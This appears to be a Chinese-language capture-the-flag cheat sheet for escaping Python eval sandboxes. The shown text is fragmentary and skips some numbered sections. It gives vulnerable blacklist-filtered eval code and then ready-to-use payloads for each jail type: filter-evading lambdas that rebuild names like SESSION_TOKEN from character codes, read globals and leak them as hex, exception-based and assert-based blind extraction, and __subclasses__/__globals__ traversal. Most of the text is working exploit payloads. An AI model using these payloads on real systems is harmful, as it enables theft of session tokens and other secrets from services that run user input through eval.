defchall(): user_input = input("Give me your code: ")
# 过滤关键字 forbidden_keywords = ['import', 'eval', 'exec', 'open', 'file'] for keyword in forbidden_keywords: if keyword in user_input: print(f"Forbidden keyword detected: {keyword}") return result = eval(user_input)
defchall(): user_input = input("Give me your code: ")
# 过滤关键字 forbidden_keywords = ['import', 'eval', 'exec', 'open', 'file'] for keyword in forbidden_keywords: if keyword in user_input: print(f"Forbidden keyword detected: {keyword}") return # 过滤特殊字符 forbidden_chars = ['.', '_', '[', ']', "'", '"'] for char in forbidden_chars: if char in user_input: print(f"Forbidden character detected: {char}") return
for keyword in KEYWORDS: if keyword.upper() in name.upper(): hit = True break
if hit: value = str(value) print("NAME", name) for i inrange(0, len(value), 4): part = value[i:i + 4] print(i, "".join(format(ord(ch), "02x") for ch in part))
print("RESULT_END")
2. eval 单表达式类
适用条件
1 2 3 4 5 6
后端类似: result = eval(user_input)
只能输入表达式 关键词和特殊字符限制较少 目标变量名已知
首选模板:lambda 单表达式 + 变量名动态构造 + hex 输出
以 SESSION_TOKEN 为例:
1
(lambda n: print("".join(format(ord(ch), "02x") for ch instr(globals()[n]))))("".join(chr(x) for x in [83,69,83,83,73,79,78,95,84,79,75,69,78]))
以 FLAG 为例:
1
(lambda n: print("".join(format(ord(ch), "02x") for ch instr(globals()[n]))))("".join(chr(x) for x in [70,76,65,71]))
如果 eval 返回值会直接显示
用不带 print 的版本:
1
(lambda n: "".join(format(ord(ch), "02x") for ch instr(globals()[n])))("".join(chr(x) for x in [83,69,83,83,73,79,78,95,84,79,75,69,78]))
3. eval + 关键词黑名单类
适用条件
1 2 3 4 5 6 7 8
后端类似: result = eval(user_input)
禁关键词: import / eval / exec / open / file
但没有禁: . _ [ ] 引号
首选模板 A:读已知变量
以 SESSION_TOKEN 为例:
1
(lambda n: print("".join(format(ord(ch), "02x") for ch instr(globals()[n]))))("".join(chr(x) for x in [83,69,83,83,73,79,78,95,84,79,75,69,78]))
name = "".join(chr(x) for x in [83, 69, 83, 83, 73, 79, 78, 95, 84, 79, 75, 69, 78]) value = str(globals()[name])
print("HEX_BEGIN") for i inrange(0, len(value), 4): part = value[i:i + 4] print(i, "".join(format(ord(ch), "02x") for ch in part)) print("HEX_END")
备用输出方式
1 2 3
name = "".join(chr(x) for x in [83, 69, 83, 83, 73, 79, 78, 95, 84, 79, 75, 69, 78]) value = str(globals()[name]) print([ord(ch) for ch in value])
6. print 不回显但异常回显类
适用条件
1 2
print 没有输出 但报错信息会显示
首选模板:异常带出 hex
1 2 3 4
name = "".join(chr(x) for x in [83, 69, 83, 83, 73, 79, 78, 95, 84, 79, 75, 69, 78]) value = str(globals()[name]) encoded = "".join(format(ord(ch), "02x") for ch in value) raise Exception(encoded)
eval 单表达式版本
1
(lambda n:(_ for _ in ()).throw(Exception("".join(format(ord(ch),"02x") for ch instr(globals()[n])))))("".join(chr(x) for x in [83,69,83,83,73,79,78,95,84,79,75,69,78]))
7. 完全无回显类
适用条件
1 2 3 4
print 不显示 eval 返回值不显示 异常内容也不显示 但页面能区分成功 / 失败
首选模板:assert 判断
判断长度:
1 2 3
name = "".join(chr(x) for x in [83, 69, 83, 83, 73, 79, 78, 95, 84, 79, 75, 69, 78]) value = str(globals()[name]) assertlen(value) > 20
判断某一位字符:
1 2 3
name = "".join(chr(x) for x in [83, 69, 83, 83, 73, 79, 78, 95, 84, 79, 75, 69, 78]) value = str(globals()[name]) assertord(value[0]) > 100
eval 单表达式版本
1
(lambda n: 1iflen(str(globals()[n])) > 20else1/0)("".join(chr(x) for x in [83,69,83,83,73,79,78,95,84,79,75,69,78]))
1
(lambda n: 1iford(str(globals()[n])[0]) > 100else1/0)("".join(chr(x) for x in [83,69,83,83,73,79,78,95,84,79,75,69,78]))
8. AST 白名单类
适用条件
1 2 3
不是简单字符串黑名单 而是 ast.parse 后检查节点类型 只允许部分语法
先测节点
按顺序测试:
1
1+1
1
"a"
1
"a"+"b"
1
len("a")
1
print(1)
1
[x for x in [1]]
1
(lambda x:x)(1)
1
().__class__
9. globals / builtins 被限制类
适用条件
1 2 3 4 5
globals 不可用 locals 不可用 vars 不可用 __builtins__ 被删或不完整 普通模板全失效
首选方向 A:从函数对象找全局环境
如果环境里存在函数对象 f:
1
print(f.__globals__)
如果能拿到函数全局环境:
1
print(f.__globals__["__builtins__"])
首选方向 B:从对象模型找可用类
1 2 3
for c inobject.__subclasses__(): if"warning"instr(c).lower(): print(c)
首选方向 C:搜索可用类名
1 2 3 4
for c inobject.__subclasses__(): name = str(c).lower() if"file"in name or"warning"in name or"import"in name: print(c)